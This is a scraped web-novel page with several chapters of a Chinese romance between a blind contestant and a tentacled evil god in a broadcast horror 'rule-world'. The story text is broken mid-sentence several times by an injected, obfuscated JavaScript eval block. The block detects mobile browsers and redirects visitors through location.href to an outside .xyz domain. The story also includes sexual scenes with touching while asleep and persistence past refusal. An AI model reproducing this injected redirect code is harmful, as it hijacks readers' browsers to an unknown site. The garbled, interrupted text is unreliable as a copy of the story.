“满满不想吃外卖,我寻思着我征服世界都不在话下,做个饭更是手到擒来,就想着给满满做顿饭的……咕噜,对不起,我搞砸了,都是我的错,你打我吧,你罚我吧!” 宁小满好笑的拍了拍塔尔斯的脑袋,“照你说的你做饭也是为了我,我罚你做什么?” 两根触手碰啊碰、搅啊搅,“……因为我把厨房炸了。” “哦,炸了就炸了呗。” 看宁小满不在意塔尔斯整个邪神都迷糊了,触手搭在他忙活着搓洗的手腕上,小心翼翼的问道:“真就不生气?” “这里是怪谈,又不是我家。”宁小满神色莫明。 塔尔斯闻言神色一僵:可……可恶,卖惨卖早了,早知道就不卖惨了,他身为邪神的面子都掉到地上了。 —— “宁小满:我管你怎么炸呢,反正不是我家,什么?你说这是我家?那就该另当别论了。” “哈哈哈哈、三星真是又好玩又好笑。” “讲真的,刚才那一瞬间我也紧张了一下,毕竟炸厨房这事还挺大的……啧,结果是我惯性思维了。” “这事真挺小的,毕竟只是炸了个厨房而不是炸了怪谈世界。” —— “洗好了,飘起来,我给你擦擦水。” 塔尔斯飘起来任由毛巾在身上划动,坏心眼的没说只要自己想这些水顷刻间就会消失不见,甚至为防宁小满想到还故意开口转移他的注意力。 “满满,我做不好饭,你也不想吃外卖,以后咱们该怎么办啊?要不我去抓个会做饭的诡异给你当仆从?” 宁小满十动然拒,“不要!不行!不许!” 抓一个诡异回来,那不是放虎进肉库吗?谁知道那诡异会不会趁塔尔斯不注意把他变成手里面的食材! 还有…… “我没不想吃外卖,刚才那话是敷衍你的,外卖很好吃,继续吃就行。” 想想别的天选者说不定连口热乎饭都吃不上,他却因为有关未来的猜想而不吃当下送到嘴边的饭,他就有种傻透了的感觉…… “不用因为我不会做饭委屈自己的,抓个会做饭的诡异也就是顺手的事。” “我真没委屈自己!” “我不信。” 不信、不信能怎么办呢?哎、有了! “你很想一个诡异插到咱们两个中间?很想我天天和之外的诡异相处?” “不想!”塔尔斯一个激灵果断回道。 “所以啊,”宁小满单手将擦干水的塔尔斯抱在怀中,单手将放在一边的盲杖拿好,转身出了浴室,“咱们两个吃外卖就好了。” “总是吃外卖不健康,这样,我先学着做饭,在我学会之前满满先吃外卖,等我学会之后满满就吃我做的,好不好?” 宁小满无可无不可的应道:“好啊。” 得到了肯定的答复塔尔斯满意了,开心的仰起头蹭着宁小满的下巴咕噜叫。 感受着脖间的痒意,听着一声接一声的咕噜声,宁小满抿着唇露出一抹无奈的笑,这样的塔尔斯哪像邪神啊,分明就像一只只活在动画片的爱宠么。 当然,仅限此刻的塔尔斯,不包括晚上的他,想到昨天晚上塔尔斯干的那些事,宁小满就感觉一阵热意上涌,从头到脖子红了个遍。 “满满,你脸红了哎。”塔尔斯惊奇的用触手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘宇怀走后许原紧随其后,两人相继离开,到最后看直播的又只剩下了王宾一个。 王宾端起桌上的茶杯抿了一口白开水,盯着直播间内正在喂马赛克吃饭的宁小满,眼神幽深,“直播之后,到底藏了什么呢……” 塔尔斯张大嘴将筷子上的肉连带着筷子嗷呜一口吞进嘴里面,两秒后吐出沾着口水的筷子道:“满满,我吃完了,还要。” 用筷子夹肉太麻烦,塔尔斯吃的又快,他根本夹不及,但是说好了的喂饭又不能半途而废…… 就在宁小满苦恼之际突然想到桌上是有一盒包子的,比起那些汤汤水水,包子这种能直接用手拿的东西喂起来就要方便多了。 宁小满摸索着拿起一个包子往前递了递,“喏,吃吧。” 见状,塔尔斯眼睛一亮,毫不迟疑的扑上去就是一口,成功……吞下半个手掌。 “……吃饭要文雅点。” “咕噜—咕噜,邪神不认字的满满。” 17. 中转站1 “不认字也听不懂话吗?” “选择性的啦咕噜~” 宁小满无奈抿唇,“能不能别在话后边加咕噜?你好歹也是邪神,就这么撒娇不觉得丢脸?” “脸?那是什么啊满满,你要吗?要的话我去画皮鬼的店给你买两张。” “你、算了。” 人叫不醒装睡的人,同理,也无法和打定主意装傻的邪神正常沟通。 吃完饭,宁小满无所事事的抱着塔尔斯在房间里面瞎逛,当然,这个逛是特意绕过被炸厨房的逛。 逛的同时宁小满也在等待怪谈结束的时间到来,还有来自国家的通讯。 那道声音说过,每次怪谈有国家和天选者之间三次联系机会,迄今为止,兔国才和他联系了一次,还剩下两次。 今天是最后一天,剩下两次机会肯定是要用到今天了,就是不知道具体是什么时间,主动权掌握在国家手中,他只能等。 宁小满等待的同时直播间也在讨论这件事: “上次过后怪谈部那边好像就没有联系过天选者了,还剩下两次机会,今天总该用了吧?” “肯定要用了,不用不就浪费了嘛。” “确实……” 众说纷纭之际,那道充满戏谑的声音再次在众人耳畔响起,“鉴第一次怪谈即将结束,特公布进一步规则。 天选者通关怪谈可进入中转站进行修整,为时三天,另:中转站不进行直播,可随天选者心意变换风格、所需物品。 最后,联系机会刷新时间为下一次怪谈开始。” 话音落地,怪谈部内王宾猛地站起身,“停止今天的联系,挪到三天后,这三天尽量多收集、分析资料!” 当然,还有最重要的一点王宾没说,那就是验明真伪,那道声音说是完成一个怪谈恢复八分之一的资源,但说到底那只是对方说说而已,在没有真正恢复前谁都说不准对方是不是在忽悠他们。 验明真伪后,再经过上层商议,和天选者联系时他们就能更好的沟通以及商讨接下来的行动。 上面什么想法王宾不知道,他却是坚持规则怪谈来者不善的想法。 还有,不知道是不是错觉,他总觉得刚才那道声音中除了戏谑还夹杂了一丝丝不易觉察的餍足。 那种感觉,就好像得了厌食症久未品尝过可口食物的人突然痊愈,一顿饭就吃了旁人三天的量,喜的家人喜极而泣,乍一看像是大病得好,但一细思却全是怪异…… 这边,宁小满同样听到了那道声音说的话,怎么说呢,听完的一瞬间宁小满就知道自己不用等通讯了,至少今天国家的通讯绝对不可能来。 因为他了解他的国家,有那个时间差可以多收集一些资料给他,那么他们就绝对不会浪费。 说不清可惜还是不可惜,就是想到和爸爸妈妈再次见面要推迟,总感觉心里面空落落的,提不起什么精神。 半天时间眨眼即逝,伴随着怪谈结束的提示音直播间有关怪谈内的画面立刻终止,只给网友们留下两个血淋淋的待续两字。 离开直播间的众人在网上到处乱窜,活力满满的模样完全看不出一个个在因为资源衰竭而勒紧裤腰带挨饿…… 中转站内,塔尔斯松开紧紧扒拉着宁小满脖子的触手,好奇地打量着面前的中转站,纯白的墙壁,标准的样板房模样,一眼望过去也就能看过眼,多的是没有了。 突然,塔尔斯眼睛一转,故意开口贬低道:“中转站丑丑的,一点都不好看,满满,这里可以按照你的心意变换,你想一下你的房间把这里变成你房间的样子好不好?” “我的房间?”宁小满有些迟疑,他看不见中转站什么样,不知道塔尔斯评判美丑的关键,是以有些担心他的房间也入不了塔尔斯的眼。 熟料,他这一迟疑就换来了塔尔斯的贴脸撒娇,“换么换么,我好想知道满满的房间长什么样,善良温暖的满满满足我这个心愿好不好?好不好嘛——” 塔尔斯用两根触手拉住宁小满的胳膊摇晃,拉长声调,斜着眼睛觑宁小满的表情,见他表情松动眼里面闪过一抹得意。 呵,邪神的撒娇厉害吧?可不是谁都能挡得住的! 塔尔斯深吸一口气再接再厉:“满满~求求你了~” 宁小满抿着唇道:“变是可以,但我不能保证和我现实中的房间一样。” “不一样也没事,只要满满变出来的就是最好的!” 嘴甜的跟抹了蜜一样,不过确实很中听就是了,宁小满边想边闭上眼睛开始构思自己在现实中房间的模样。 一秒、两秒……中转站突然开始变化,先是墙壁颜色,从无暇的白变成了暗淡的灰,再是摆设,沙发、电视、茶几等原来的家具眨眼消失不见,只留下一张两米的大床、一个装满书的书架、地上新增的地毯以及墙边散落一地的玩偶。 到留下,房间变成了灰的海洋,凡留下的东西都是灰色,一点其他颜色都没有。 看着面前的房间,塔尔斯几乎能够想象到爱人在现实世界中的样子,以及爱人脑海中的世界是什么样的。 他游到宁小满胸前用两根触手环住他的脖子,另外六根触手也没有闲着,尽最大努力让自己接触着爱人裸露在外的皮肤。 宁小满抬手在下方托住塔尔斯迈步走向床铺,一边走一边小声道:“是不是不好看?早知道……” “不是,”塔尔斯出声打断道:“很好看,是我见过最好看的房间,就是看完心脏有点闷闷的。” 宁小满闻言一愣,“心脏?” “嗯,三个都好疼。” “是生病了吗?我、我带你……” 说到这里宁小满猛地顿住,看医生?他现在是在中转站,出去的门都没有,去哪里找医生呢? 触手轻轻抚上宁小满失神的侧脸,“不是生病,已经不疼了,满满,你想看看你的房间吗?” 宁小满顺着触手的力道低头看向怀中的塔尔斯,睁着一双漂亮但无神的眼睛道:“我知道房间长什么样,就不用看了,倒是你,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不知道哪只眼看出来的他不心疼,这是他的新娘,他会不心疼吗?他只是……只是知道说出来他的爱人会更难受罢了。 许久,听着和缓的呼吸,感知到怀中人已经熟睡,塔尔斯操控触手尖轻轻扫过眼皮下方,“该拿你怎么办好呢……” 人类的躯体太过脆弱,对于所有非本体的东西天然有着排斥性,那么诡异的那些换器官法子就不能用了。 他倒是可以把眼睛借给他的爱人,但前提是要结契昭告规则,否则光是一点神威都能将这脆弱的身体碾成碎渣,而结契则是需要他的本体。 不巧,他的本体现在正处于融合神格阶段,他自己都用不了。 左右盘算,一时间他竟拿一双眼睛没办法…… 塔尔斯无言的望着爱人沉睡的脸想道:连爱人的忙都帮不上,这天下怕是再没有他这么无用的邪神了吧? 18. 中转站2 【咕噜——满……】 塔尔斯勾头眼神凶残的看向在脑海中出声的触手,凶道,【满满也是你能叫的?滚!】 有看不下去的触手出声制止,【一体,共有。】 【滚!谁跟你们一体,我告诉你们,平时给我藏好点,被满满发现吓到他了小心我把你们记忆全抹了当仆从用!】塔尔斯恶狠狠道,完全不把几个辅意识放到眼里面,尽管他才是占数少那个。 【霸道,不可以,满不喜欢。】 【对,不可以。】 【嗯嗯,要温柔,满会怕。】 …… 触手内意识们你一言我一语的成功把塔尔斯惹恼了,他的新娘他自己会心疼,哪用得着他们说教? 【全部都给我闭嘴!缩回去,谁特么再说话就等着被迫沉睡吧!】 话音落地,在他大吼时还在窃窃私语的触手们瞬间闭嘴,如果不是记忆不会欺骗他,这闭嘴速度快到他都要以为刚才是他在做梦了。 塔尔斯深吸一口气,平缓心情,看着爱人的睡颜第不知道多少次后悔当初把变人功能给删减了,如果不删减他现在就能用人类的双臂抱着爱人而不是用…… 呼——不能想,越想越气,未免自己把自己气炸,塔尔斯深吸一口气阖目放任自己陷入深眠。 深眠不知时间流逝,但在感觉到身边有动静传来躯体便自动退出深眠状态。 塔尔斯睁开眼睛看向已经坐起身摸索着盲杖的爱人,用触手卷了盲杖递到宁小满手边,“起床是饿了吗?” “不,上厕所。” “我陪你一起,走吧。” “不要!你放开我,你怎么……怎么……” “怎么越来越不要脸是吧?满满,你要知道,邪神本来就是没脸没皮的存在,只要可以达成目的,他干什么都是正常的。” 塔尔斯边说边将宁小满手中的盲杖夺过扔到一边,抱起他啪嗒着朝外走去,走了两步想到什么突然停下触手,低头朝抱着他脖子的宁小满问道:“厕所在哪?” 宁小满一脸无奈的给他指明了方向,又一脸羞囧的在他的注视下上完了厕所,被抱回床铺后。 宁小满扯着他的触手一脸严肃地道:“我觉得,咱们两个该谈谈了。” “好啊,谈什么?”塔尔斯打量着爱人不常见的严肃脸眼中闪过一丝痴迷。 “关于你的各种逾矩行为,我觉得是时候停止了,我接受不了和你在一起,你也不应该和我在一起,你应该找一个和你物种一样实力相当的邪神,而不是我,一个普普通通的人类。” 前面说的那些塔尔斯只是有一搭没一搭的嘴上迎合着,最后一句却是让他当场就驳了回去,“哪里普通了!满满才不普通,满满最好了!” 这些天动不动就被夸夸,宁小满也算是有了一丁点抗体,是以并没有脸红而是掐了一下手中的触手尖示意他认真一些,“不要转移话题,咱们两个不能在一块知道吗?” “不知道,满满对我是摸也摸了、亲也亲了,已经把我脏了,现在让我去找其他邪神,哪里还找得到,他们都会嫌弃我的。” 宁小满双目圆睁,刚才没红的脸终是红了……被气红的。 “哪里就是我对你又亲又摸了!明明是你!趁着我睡觉不干好事,第一天就偷偷摸摸吃我豆腐!” 话出口的一瞬间宁小满就后悔了,现在说这个岂不是上赶着塔尔斯送把柄,他这张嘴啊,真该上个锁。 塔尔斯眼睛微眯,精准抓重点,“第一天……所以满满从一开始就知道?” 宁小满抿唇,他倒是想不知道,但是他又不是死人,大晚上被那么摆弄还没有一丝感觉,更别提早上醒来后身上隐隐传来的刺疼感。 塔尔斯根本就没有一丝掩饰,他就算是想不知道也难,之所以不拆穿不过是害怕塔尔斯知道他知道后得寸进尺,虽然塔尔斯不知道也更进一步就是了。 见宁小满一直不说话,塔尔斯干脆逼近一些,触手从衣服下摆探进去轻轻剐蹭着腹部的皮肤,“一开始就知道却不制止,我是不是可以认为——满满也是愿意的,只是不好意思说而已,方才那些疏远我的话只是欲拒还迎?” “不是,不是!我是认真的,我觉得咱们两个真的不能在一……唔!” “可以的满满,你不喜欢我这个形态我也是有人形的,只是现在不能变而已,我知道你不愿意,所以这个形态下我尽量克制,一切都等到我回归本体可以变成人形了再说好不好?” 塔尔斯靠在宁小满身上,触手灵活运转逼得宁小满说不出一个字,但凡开口必定是破碎的声音。 “不说话?那我就当你是答应了可以吧?” “嗯,可以,那就这么说好了,等我变成人形就彻底在一起,在这之前也不能拒绝我的亲近。”塔尔斯自问自答道,根本没给宁小满说话反应的机会。 话都被说完了,宁小满气的浑身发抖,红着眼瞪着虚空,磕磕巴巴的骂道:“混、混蛋,你滚、滚!” 但不可否认的是,在听到塔尔斯可以变人那一秒,他内心出现的如释重负的感觉。 塔尔斯也就是感知到宁小满内心并没有真正生气,才会在挨骂后还噫噫呜呜的撒娇:“不要嘛,就让我陪着满满嘛,最喜欢最喜欢满满了。” “那你老实点!” “啊、啊~这个啊,”塔尔斯顾左言右的拖了几秒钟时间最后过了一把手瘾,“可以!我现在就拿出来!” 没了触手缠身宁小满坐起身,推开塔尔斯往床里面爬了爬坐好,坐好后用脚抵住塔尔斯的触手道:“不许动,你就坐在床边,谈话还没有结束,如果你现在过来我就真的要生气了。” “不过去不过去,我乖,满满不生气。” 听到塔尔斯说自己乖,宁小满抬头愤愤地翻了个白眼,乖个鬼啊乖,真乖就不会像刚才那么放肆了,要知道因为刚才那遭,他现在胸口还有点疼呢! 宁小满抬手捂住胸口揉了揉,竖起三根手指道:“约法三章,你答应我,我也就答应你在一起,不答应……” “答应答应答应!我答应的满满!”不答应是傻子,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……做你的信徒一定很倒霉。”解决个事都要看心情。 “怎么就倒霉了呢,在他们决定信仰邪神的那一刻开始就应该知道邪神是什么德行的,但仍然选择了信仰,那么他们就要承担选择的后果。” “唔……后果?会有什么后果?”宁小满软倒在蠕动的触手上,失神的问道。 看着爱人失神的脸,塔尔斯并没有敷衍了事,尽管爱人清醒后可能并不知道他现在问了什么…… “邪神具有排他性,在选择信仰邪神后又改选信仰的,灵魂很有可能沦为邪神的饭后小甜点,还有就是,邪神不守信诺,前一秒答应的事下一秒就有可能反悔……” “呼——这么说来,做你的爱人也很危险。” “不,不会有危险,因为邪神面对爱人会自动遗失以上所有,面对爱情,邪神是忠诚的,他的爱人可以永远相信坠入爱河的邪神。” 19. 中转站3 触手轻柔的抚过耳垂,宁小满听到塔尔斯用低沉的嗓音对他耳语道:“所以,我的意思是,满满,你永远可以相信我、驱使我,因为……我绝对忠诚。” 眼角滑落泪水又被触手摸去,恍惚间宁小满听到了自己的声音。 “那就——做给我看。” “遵、命。” …… 刚睡醒就是忙活,中转站没有明确的时间流逝,宁小满也不知道过了多久,只知道塔尔斯停下时他浑身上下都黏糊糊的,且累的手都不想抬。 想想父母日常生活中相处模式,宁小满抬手抱住塔尔斯的触手,试探着小声问道:“可以抱我去洗澡吗?” 已经餍足的塔尔斯猛地直起身,错愕的看向抱着他触手的老婆,很显然是没想到还有这种好事。 等了一会没等到回话,宁小满已经怯了,抱着塔尔斯的手缓缓放松,“如果你不愿意,那就……” “不不不,不是!我没有不愿意,刚才是太过于惊喜一下子愣住了,满满,你真的愿意让我给你洗澡?” 之前在怪谈中还拒绝他来着,现在就这么水灵灵的同意了?塔尔斯不敢相信福利掉落的这么快。 宁小满想了想道:“既然已经答应和你在一起,相处模式自然是要变的。” 塔尔斯愣愣的点了下头,两根触手抱起躺在床上的爱人,四根触手在下面托着,仅留两根触手用来走路,唯恐抱的不舒服下次就没了这福利。 帮忙洗澡时更是只敢用柔软的触手尖碰,反面的吸盘被藏的死死的。 看着爱人身上刚才留下的红色圆形印记,塔尔斯自责的开口:“刚才是我不知轻重,下次我保证不用力了。” “嗯?什么?” “因为刚才的事,留下了好多印子,”塔尔斯心疼的抚过红印,“满满,疼吗?” “没什么感觉。”宁小满老老实实的摇头道。 塔尔斯垂下眼帘,并不相信,小心的给爱人洗完澡,抱着爱人回到床上,一根触手轻拍着爱人的后背,另七根触手则是钻进他开辟出来的乱序空间内一刻不停的翻找着。 耳边不断传来噼里啪啦的声音,宁小满是想睡也睡不着,虽然因着前不久刚醒他也睡不着就睡了。 抓住拍打后背的手攀到塔尔斯身上趴好,有些好奇的问道:“你在找东西?” “嗯,我记得之前有信徒给我献祭了药,当时我用不着就随手扔到了空间内,找出来可以给你用,当然,这只是暂时的,等出了中转站我就带你去定制新药!” 要不是中转站不好贸然出去,他是绝对不会让他的爱人用这些献祭来的东西的,太委屈了。 宁小满抬手摸摸身上,“我没什么感觉,应该不用涂药吧?” “要的,不涂不行。” 听塔尔斯坚持宁小满也没再反驳什么,涂药可以,不涂药也无所谓,反正他看不见也没什么感觉,左右塔尔斯想杀他也不用费尽心思的找药毒杀。 比起关心塔尔斯的找药进程,他更关心的是塔尔斯的身体材质,身为章鱼,海洋生物的一种,身上没有海腥味也就算了,触手正面摸起来像果冻又是怎么一回事? 摸着摸着宁小满好奇起了它的味道,摸起来这么像果冻的东西,也不知道吃起来像不像果冻…… 话赶话间,不过十分钟后宁小满就把自己好奇的问题问出了口,塔尔斯听到他的问题也不恼,“那么好奇不如我切根给你尝尝。” “不用了。” “满满不用担心我的,我自我修复能力很强的。” “不是,不是担心你,而是咱们两个都不会做饭,你就算是切下来生的也没法吃。” 塔尔斯闻言沉默住了,他的爱人还真是诚实,虽然诚实过头了会伤人,但那又有什么关系呢?总归是他喜欢的。 “我下个怪谈就开始练习厨艺,争取让满满下次来中转站就吃上!” 他说的这么干脆宁小满反而迟疑了,“拿自己做食材真的好吗?” “好啊,怎么不好,身为怪谈世界武力值最高的那个,我身上的部位一定比其他诡异都好吃,不尝尝岂不是亏了?” 宁小满眨眨眼,不儿,听这意思,塔尔斯这是不止想让他吃,还想自己尝尝啊…… 自己吃自己这事放到现实世界说出去就是一件骇人听闻的事,但这里是怪谈世界……嗯,兴许怪谈世界的诡异就是自己喜欢吃自己呢? 宁小满强迫自己将思绪从自己吃自己这件事上,无奈,这事冲击力还是有点强的,越是不想想总是往他脑子里钻,为了转移注意力宁小满索性开口问起了之前塔尔斯说过一嘴的事。 “你之前说,你不是这怪谈世界的原住民,那你怎么会来到怪谈世界,还成了唯一的4S级怪谈boss?” “被拐来的,邪神一脉诞生于极恶深渊,我亦不例外,按照既定轨迹我诞生后本该为祸一方,谁知道刚出深渊就撞上了老家伙,二话不说就把我卷到了这里。” 塔尔斯说话的同时触手也没有停下在空间内翻着,这不,刚说了个前因药就找到了。 瞥一眼外边的文字,确定是去除印子的药后,两根触手卷住宁小满的衣服下摆,“抬手。” 宁小满顺从的抬手让塔尔斯把衣服脱下,“脱衣服干什么?” “药找到了,给你抹药。” 听到抹药二字,宁小满微皱眉头,“不用了,我真没什么感觉。” 见他抗拒,塔尔斯甩甩触手上沾到的药将药盒盖上,放到一边,耐着性子问道:“不喜欢药?总得有个原因吧?” “也没有不喜欢药,就是不喜欢那个味道。”宁小满撇了撇嘴道。 “这个药没什么味道,你闻闻看,”不等宁小满拒绝塔尔斯接着道:“要是实在接受不了就不涂了好不好?” “行吧。” 塔尔斯把沾了药的那根触手凑到他鼻下晃了晃,“能接受吗?” 宁小满耸着鼻子吸气,什么味道都没有,他不由疑惑的问道:“不是说闻药嘛,你没把药拿过来?” “拿了。” “可是没味道啊。” “这个药就是无味的,现在可以抹药了吧?” 难闻的药味没了,自然是可以的。 塔尔斯一边涂药一边说起了后果,“至于为什么会成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你放心,你的父母我们已经派人好好保护起来了,工作也有了新安排,保证一丝危险都不会遇到。” 听出这是王宾的声音,宁小满没忍住问道:“什么工作?” 说起工作,他妈妈好些,有个教师的工作,有工作经验。 他爸爸就不行了,有从爷爷奶奶那继承来的财产,从大学毕业后就没有工作过,和他妈妈在一起后还想说服他妈妈一起啃老,得亏他妈妈意志坚定,要不然他们全家三个人真就是找不出一个有工作的人。 话扯远了,说回他爸爸,四十多岁的人了,工作经验为零,享了半辈子清福,临到可以抱孙子的年纪了被安排了个工作…… 很离谱,离谱到宁小满无法想象的那种。 “怪谈部特聘专家,微动作那边的,好了,时间到了,你该和你的父母聊了。” 听到王宾说可以聊了,一直在旁边守着看了许久的顾宛霜慌忙上前两步,看着大屏里面的儿子一开口就是哽咽,“满宝啊,你是不是、是不是……” 是不是了许久,瘦了两个字顾宛霜愣是没说出口,她这左打量右打量,怎么看她儿子这都是胖了。 20. 亡海游轮1 这么多年母子,顾宛霜就算是没问出来宁小满也差不多知道他要说什么,手指摩擦着塔尔斯的触手,微微勾唇道:“妈妈,我在这边很好,你看,我都长肉了。” 嗯,得益于塔尔斯吃饭时一刻不离的盯盯,他成功长胖了。 “是、是,胖点好,胖点健康。” “就是,之前你一直吃不胖我和你妈妈还担心是不是你身体出了什么问题,现在一看,是方法没找对啊。” “爸爸,你再打趣我,信不信等出去后一个月不理你?”宁小满不满的撇着嘴威胁道。 “好好好,不打趣你了,都是爸爸的错。” “哼,本来就是你的错。”宁小满傲娇的扬着下巴。 就这么几句话的功夫两分钟时间就要没了,末了了,顾宛霜看着宁小满抱着的马赛克,突然道:“满宝,不管你喜欢的是不是人,爸爸妈妈都支持你,记住,爸爸妈妈只要、只要你……” 妈妈剩下的还说了什么宁小满已经听不到了,因为通讯结束了,但结合前面的,说了什么也很好猜,只要他回去,一切都可以不在乎。 塔尔斯摸了摸爱人的脸,不可置信的小声询问道:“满满,妈妈刚才是承认我们两个可以在一起了吗?” “嗯……等、等等,你叫我妈妈什么?” “妈妈啊。”塔尔斯不甚在意的说道,仿佛一切本就该如此。 倒是宁小满从脸到脖子红了个透,结结巴巴的质问:“你怎么、怎么能叫呢!” “我为什么不能叫?满满已经答应和我在一起了,那满满的妈妈就是我的妈妈,难不成……” 塔尔斯眯着已经骤然靠近宁小满的脸,开口时气流涌动全部扑撒在宁小满脸上,“难不成满满之前说的和我在一起是忽悠我的不成,嗯?” “哪个没事干的会忽悠你啊,我只是、我只是觉得你叫这些太早了,咱们两个、咱们两个……哎呀!反正就是不合适!” “好嘛好嘛,那我不叫了,等满满什么时候愿意了我什么时候再叫好了吧,哼,满满小气鬼。”塔尔斯双手叉‘腰’,语气里满是愤愤。 真是的,当他想平白无故多出来个妈啊,他还不是爱屋及乌,要不然有哪个人类跳出来想让他叫妈妈他非吞了她再把她的灵魂抽出来日日拷打! 傻满满,哼! 塔尔斯生气生的这么明显,宁小满想不知道都难,但挑破了他不知道怎么哄,索性他就装着不知道,如往常那样抱着塔尔斯揉捏过手瘾。 被这样揉捏了一会,塔尔斯的气也消得差不多了,他放下叉‘腰’的触手捧住宁小满的脸轻蹭,“满满,他们说的那些子天选者连我的触手尖都比不上,等到了多人怪谈,不要他们只要我好不好?我可以帮着你守夜、打诡异、做饭……做饭暂时不太行,但以后肯定行的。” 宁小满闻言诧异的挑了挑眉,“以后真有许多天选者一起的怪谈?” “有的,老家伙不要脸想一下子收割多多的……咳咳,呸!”塔尔斯吐出一口黑气骂道:“玩不起的老家伙,给我等着!” “又被电了?”宁小满无甚波澜的问道,不是他不关心塔尔斯,实在是这情况在中转站这段时间他见多了,知道塔尔斯肯定会没事。 “嗯。” “以后还是少提点他吧,提多了容易……” “呵,小爷才不怕他呢,等小爷我彻底成神后我就带你走,等离开这里,天大地大老家伙还管不到我头上,哼!” 宁小满精准抓重点,“你成神后可以离开?” “我和他只是交易,本源没被打上印记,只要实力够,随时都能离开。” “这样的话,是不是就算我通不了关,你也能带我回家?” “是。” 听到塔尔斯说是,宁小满抬手将飘在他脸前的塔尔斯抱进怀中,突兀道:“塔尔,好喜欢你。” 塔尔斯感受了一下,真情假意五五分,一看就是听他说能带他离开才蓦然增长的情感,不过比之一开始已经强不少了,要知道一开始那可是真情假意皆无。 细细想来他们俩才相处了十天,有这进展可以说是超过了绝大部分情侣。 嗯,不愧是他,怪谈世界最伟大的邪神! 塔尔斯自豪的同时也不忘回应刚才的告白:“我也喜欢满满。” 没等接着腻歪,中转站突然传来一阵空间波动,白光一闪中转站内就没了人形。 “亡海游轮,一艘常年停驻在亡海正中的游轮,每三年返航一次补充物资,时至今日,已两年十一个月整,离归期还余一月之时,船员们从海上救起了一位偏远国家的王子。 据自述,在他的国家,他十分受宠,只要将他送回他的国家,他的父亲会拿出大量的金银珠宝感谢救他的人。 听了他的自述,船长和副船长商量了一上午,最终决定提前返航,拿到他允诺的金银珠宝再行回他们的国家。 但同时,他们也要求王子必须遵循船上的规矩…… 怪谈背景解释完毕,导入天选者中,导入完毕,请注意,怪谈规则仍需天选者自行寻找。” “噗——咳咳咳!救……咳咳——!” 宁小满上半身趴在一块木板上下半身泡在海水中,整个人随着木板被海浪冲来冲去,时不时就要呛一口海水,他知道海水不能喝,但这情形根本容不得他喝与不喝,那海水直直的往他嘴中、鼻腔中灌。 就在宁小满以为自己要命丧于此时,如浮萍般在海水中脚下突然有了依靠,然而在海浪的拍打中他根本就踩不实! 恍惚间宁小满听到一声不满的啧声,再然后他整个人脱水而出,再没有那要命的海水往口鼻中灌。 托他浮出海面的不是其他,正是塔尔斯的触手。 塔尔斯看着被折腾的惨兮兮的爱人,脑门突突直跳,恨不得冲到那神秘空间给老家伙一个大比兜,一天天的净干些惹神烦的事,真是讨打! 一根触手托着总归有些不稳妥,塔尔斯想了想拿出六根触手绞在一块,形成了一块类似船板的平面,随后小心翼翼的将托在半空中的爱人放到平面上,又用力量挡了扑过来的风风雨雨。 空出来的两根触手一左一右轻戳宁小满的脸,伴随着轻唤:“满满、满满? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030873|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满满,醒醒——” 在塔尔斯的轻唤声中,宁小满吐出一口水迷迷糊糊的睁开眼睛,感受到身下熟悉的触感,安心感瞬间盈满心房。 他侧身避开戳他脸的触手,手指划拉着身下的触手,“别戳,我醒了。” “醒了就好,老家伙不做好事,把咱们两个一个投放到海面一个投放到深海就算了,居然还把时间调到了被救前,啧——” 操!真是越想越烦,记仇本本添一笔,这些以后可是都得讨回来的。 “被救前……那我们要怎么上船?” “被救了就能上船了。”吧。 他也不是很确定,每个怪谈的机制和规则都不一样,所以单问他怎么上船他也挺抓瞎的。 要问问什么他不抓瞎,当然是通关(打穿)怪谈啦! 他别的没有,就是武力值高。 塔尔斯挠了挠头,感应了一下游轮停靠的位置,径直朝那边游去,边游边道:“放心满满,我一定安全把你送上船。” 宁小满撑着塔尔斯的触手坐起身,无神的双眼直视前方,轻声开口:“放心的,我相信塔尔。” “咳,那啥,我这里有之前买的衣服,满满把身上的湿衣服脱下换上吧。” “好,谢谢塔尔。” 宁小满抬手去接塔尔斯说的衣服,衣服普一入手就感觉手臂一沉,“这衣服怎么这么沉?” “上面缝了些宝石,不喜欢吗?” 宁小满摇头,谈不上喜欢不喜欢,他看不见,衣服于他而言不过是蔽体的东西,只是疑惑,“我记得之前买衣服时好像并没有买带宝石的衣服吧?” “嗯,衣服上的宝石是我缝的,个顶个的好,试试看?” 